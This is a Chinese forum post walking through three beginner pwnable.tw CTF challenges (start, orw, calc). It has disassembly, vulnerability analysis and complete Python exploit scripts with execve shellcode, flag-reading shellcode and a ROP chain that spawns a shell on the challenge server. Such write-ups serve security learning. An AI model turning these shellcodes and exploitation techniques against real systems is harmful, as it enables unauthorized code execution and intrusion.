首页
论坛
课程
招聘
雪    币: 5382
活跃值: 活跃值 (1912)
能力值: (RANK:220 )
在线值:
发帖
回帖
粉丝

[原创]pwnable.tw新手向write up(一)

2020-5-3 17:52 3978

[原创]pwnable.tw新手向write up(一)

2020-5-3 17:52
3978

前言

最近打算做一做pwnable.tw的题目,把一些过程给大家分享一下,前三题(start,orw,calc)比较简单,所以我写到这一篇文章里了

0x00 start(re2shellcode)

  • 先看防护,基本什么都没开
[0] % checksec start
[*] '/home/dylan/desktop/pwnable.tw/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
  • 程序结构很简单,但是IDA反汇编有点不清楚,直接看汇编就好了,也就20几行
.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx        ; fd = 0
.text:08048091                                         ; addr = esp
.text:08048093                 mov     dl, 3Ch         ; count = 60
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX - sys_read
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

配合注释一眼就看完了,先调用write打印栈里面的一个字符串,然后在同一个地方read写入60个字节,最后抬高栈顶,返回到exit函数,结束程序

  • 利用思路

    • read的长度很明显造成了栈溢出,所以我们可以自由劫持程序控制流程,比如跳转到shellcode,但是我们并不知道栈的地址,所以需要先泄露栈地址.
    • 回想一下整个程序的栈内分布,先是压入了esp的值,然后放入了exit函数的地址,当做是返回地址,接着压入了20个字节.抬高栈顶之后栈最顶层的数据是exit函数的地址,执行完retn之后,栈顶存放的正好是esp的值.所以我们只要把exit函数的地址覆盖为.text:08048087这个地址,这样程序返回之后执行write,正好打印出栈顶的esp值,这样我们就成功泄露了栈地址.
    • 接着我们又获得了一次输入的机会,这次我们覆盖返回地址为esp+14,返回地址之后跟上我们的shellcode,这样一会儿就会跳转到我们的shellcode去
    • shellcode尽可能短一点,因为程序存在字节限制
  • exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = False

# Set up pwntools for the correct architecture
exe = './' + 'start'
elf = context.binary = ELF(exe)

#don't forget to change it
host = 'chall.pwnable.tw'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'start'
ctx.binary = exe
libc = elf.libc
ctx.debug_remote_libc = False
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    try:
        io = ctx.start()
    except Exception as e:
        print(e.args)
        print("It can't work,may be it can't load the remote libc!")
        print("It will load the local process")
        io = process(exe)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     i386-32-little
# RELRO:    No RELRO
# Stack:    No canary found
# NX:       NX disabled
# PIE:      No PIE (0x8048000)
def exp():
    #shellcode
    shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
    log.success('len(shellcode) = ' + hex(len(shellcode)))

    #leak esp
    payload = 'a'*0x14 + p32(0x08048087)
    io.recv()
    io.send(payload)
    stack = u32(io.recv()[:4]) + 0x14
    log.success('target addr = ' + hex(stack))

    #get shell 
    payload = 'a'*0x14 + p32(stack) + shellcode
    io.send(payload)

if __name__ == '__main__':
    exp()
    io.interactive()

0x01 orw(shellcode构造)

  • 查看一下防护,开了NX
[0] % checksec orw
[*] '/home/dylan/desktop/pwnable.tw/orw/orw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
  • 程序结构感觉比上一题还好看,直接读取我们输入的shellcode,然后跳转过去执行,但是这个题也不是白给,加了一点限制:只能使用open,write,read这三个系统调用,不能直接调用system.
int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}
  • 利用思路
    • 先调用open函数打开flag文件
    • 将flag文件的内容read到栈中
    • 再用write函数将栈的内容打印出来
  • exp
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = False

# Set up pwntools for the correct architecture
exe = './' + 'orw'
elf = context.binary = ELF(exe)

#don't forget to change it
host = args.HOST or 'chall.pwnable.tw'
port = int(args.PORT or 10001)

#don't forget to change it
#ctx.binary = './' + 'orw'
ctx.binary = exe
libc = elf.libc
ctx.debug_remote_libc = False
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    try:
        io = ctx.start()
    except Exception as e:
        print(e.args)
        print("It can't work,may be it can't load the remote libc!")
        print("It will load the local process")
        io = process(exe)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX disabled
# PIE:      No PIE (0x8048000)
# RWX:      Has RWX segments
def exp():
    #shellcode
    shellcode = shellcraft.open('/home/orw/flag')
    shellcode += shellcraft.read('eax','esp',0x30)
    shellcode += shellcraft.write(1,'esp',0x30)

    io.recv()
    io.send(asm(shellcode))

if __name__ == '__main__':
    exp()
    io.interactive()

0x02 calc(数组溢出)

  • 查看防护
[17] % checksec calc
[*] '/home/dylan/desktop/pwnable.tw/calc/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
  • IDA分析一下程序结构,这个程序看着麻烦,实际上关键的代码也就那么点,逻辑不难
unsigned int calc()
{
  int ptr; // [esp+18h] [ebp-5A0h]
  int result[100]; // [esp+1Ch] [ebp-59Ch]
  char calc_string; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&calc_string, 0x400u);
    if ( !get_expr((int)&calc_string, 1024) )
      break;
    init_pool(&ptr);
    if ( parse_expr((int)&calc_string, &ptr) )
    {
      printf((const char *)&unk_80BF804, result[ptr - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}

这是主要函数,先调用get_expr函数读取一个字符串,并且过滤除[0-9]*+-\%之外的字符,init_pool初始化一个内存块,然后调用parse_expr函数计算结果,结果存放在result[ptr - 1]处.

signed int __cdecl parse_expr(int calc_string, _DWORD *result)
{
  int len; // ST2C_4
  int v4; // eax
  int v5; // [esp+20h] [ebp-88h]
  int index; // [esp+24h] [ebp-84h]
  int v7; // [esp+28h] [ebp-80h]
  char *malloc_mem; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h]
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  v5 = calc_string;
  v7 = 0;
  bzero(s, 0x64u);
  for ( index = 0; ; ++index )
  {
    if ( (unsigned int)(*(char *)(index + calc_string) - 48) > 9 )
    {
      len = index + calc_string - v5;
      malloc_mem = (char *)malloc(len + 1);
      memcpy(malloc_mem, v5, len);
      malloc_mem[len] = 0;
      if ( !strcmp(malloc_mem, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(malloc_mem);
      if ( v9 > 0 )
      {
        v4 = (*result)++;
        result[v4 + 1] = v9;
      }
      if ( *(_BYTE *)(index + calc_string) && (unsigned int)(*(char *)(index + 1 + calc_string) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v5 = index + 1 + calc_string;
      if ( s[v7] )
      {
        switch ( *(char *)(index + calc_string) )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v7] != 43 && s[v7] != 45 )
            {
              eval(result, s[v7]);
              s[v7] = *(_BYTE *)(index + calc_string);
            }
            else
            {
              s[++v7] = *(_BYTE *)(index + calc_string);
            }
            break;
          case '+':
          case '-':
            eval(result, s[v7]);
            s[v7] = *(_BYTE *)(index + calc_string);
            break;
          default:
            eval(result, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(_BYTE *)(index + calc_string);
      }
      if ( !*(_BYTE *)(index + calc_string) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(result, s[v7--]);
  return 1;
}

result数组保存操作数,s数组保存运算符号,result[0]保存操作数的个数.

_DWORD *__cdecl eval(_DWORD *result, char a2)
{
  _DWORD *a3; // eax

  if ( a2 == '+' )
  {
    result[*result - 1] += result[*result];
  }
  else if ( a2 > '+' )
  {
    if ( a2 == '-' )
    {
      result[*result - 1] -= result[*result];
    }
    else if ( a2 == '/' )
    {
      result[*result - 1] /= result[*result];
    }
  }
  else if ( a2 == '*' )
  {
    result[*result - 1] *= result[*result];
  }
  a3 = result;
  --*result;
  return a3;
}

漏洞就发生在eval函数里边,程序并没有对result[0]进行检查,所以如果我们控制了result[0]的值,就可以进行任意地址读写了.假如+20因为第一个字符为符号+而只有一个数字,那么在这样的情况下执行eval函数时,result[*result - 1] += result[result]就会变成result[1-1]+=result[1],于是就成功控制了result[0]的值。

  • 利用方法
    • 利用任意地址读写控制eip.esp的偏移0x5A0=1440,所以返回地址的偏移为1444/4=361.这就意味着我们输入+361的时候显示的就是返回地址的值,接着构造ROP链.
    • 关于ROP链的构造,你可以直接构造系统调用执行execve('/bin/sh'),也可以执行_dl_make_stack_executable将NX给关了.因为是静态链接,所以使用工具更加方便,这里我直接调用ROPgadget自动构造了
  • exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
from struct import pack
local = True

# Set up pwntools for the correct architecture
exe = './' + 'calc'
elf = context.binary = ELF(exe)

#don't forget to change it
host = args.HOST or 'chall.pwnable.tw'
port = int(args.PORT or 10100)

#don't forget to change it
#ctx.binary = './' + 'calc'
ctx.binary = exe
libc = elf.libc
ctx.debug_remote_libc = False
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    try:
        io = ctx.start()
    except Exception as e:
        print(e.args)
        print("It can't work,may be it can't load the remote libc!")
        print("It will load the local process")
        io = process(exe)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)

#shellcode
shellcode = ''

shellcode += pack('<I', 0x080701aa) # pop edx ; ret
shellcode += pack('<I', 0x080ec060) # @ .data
shellcode += pack('<I', 0x0805c34b) # pop eax ; ret
shellcode += '/bin'
shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
shellcode += pack('<I', 0x080701aa) # pop edx ; ret
shellcode += pack('<I', 0x080ec064) # @ .data + 4
shellcode += pack('<I', 0x0805c34b) # pop eax ; ret
shellcode += '//sh'
shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
shellcode += pack('<I', 0x080701aa) # pop edx ; ret
shellcode += pack('<I', 0x080ec068) # @ .data + 8
shellcode += pack('<I', 0x080550d0) # xor eax, eax ; ret
shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
shellcode += pack('<I', 0x080481d1) # pop ebx ; ret
shellcode += pack('<I', 0x080ec060) # @ .data
shellcode += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
shellcode += pack('<I', 0x080ec068) # @ .data + 8
shellcode += pack('<I', 0x080ec060) # padding without overwrite ebx
shellcode += pack('<I', 0x080701aa) # pop edx ; ret
shellcode += pack('<I', 0x080ec068) # @ .data + 8
shellcode += pack('<I', 0x080550d0) # xor eax, eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x08049a21) # int 0x80

def set_value(addr):
    io.sendline('+'+str(addr))
    value = int(io.recv())
    if value > 0:
        io.sendline('+'+str(addr)+'-'+str(value)+'+'+str(u32(shellcode[(addr-361)*4:(addr-361+1)*4])))
    else:
        io.sendline('+'+str(addr)+'+'+str(-value)+'+'+str(u32(shellcode[(addr-361)*4:(addr-361+1)*4])))
    io.recv()

def exp():
    io.recv()

    for i in range(361,361+len(shellcode)/4):
        set_value(i)

    io.sendline('')

if __name__ == '__main__':
    exp()
    io.interactive()
  • 关于我

博客有我的联系方式,欢迎大家来玩,地址:https://www.0x2l.cn



2020,给你一个诚意满满的夏令营!

最后于 2天前 被0x2l编辑 ,原因: 修改
最新回复 (3)
雪    币: 9092
活跃值: 活跃值 (433)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-5-3 18:09
2
0
mark,楼主辛苦了
雪    币: 33
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
YiMianHS 活跃值 2020-5-6 23:15
3
0
刚看完第一题,查了查linux系统调用方面的资料,在草稿纸上比划了几下,才看明天文字。写得非常好,谢谢。python 部分明天再研究,新手劳逸结合。
雪    币: 5382
活跃值: 活跃值 (1912)
能力值: (RANK:220 )
在线值:
发帖
回帖
粉丝
0x2l 活跃值 2 2020-5-6 23:25
4
0
YiMianHS 刚看完第一题,查了查linux系统调用方面的资料,在草稿纸上比划了几下,才看明天文字。写得非常好,谢谢。python 部分明天再研究,新手劳逸结合。
如果是新手的话,你可以去看看pwntools的用法,这个师傅的文章有写到:https://bbs.pediy.com/thread-247217.htm.我用的是另一个库,和pwntools差不多,只看思路就可以了
游客
登录 | 注册 方可回帖
返回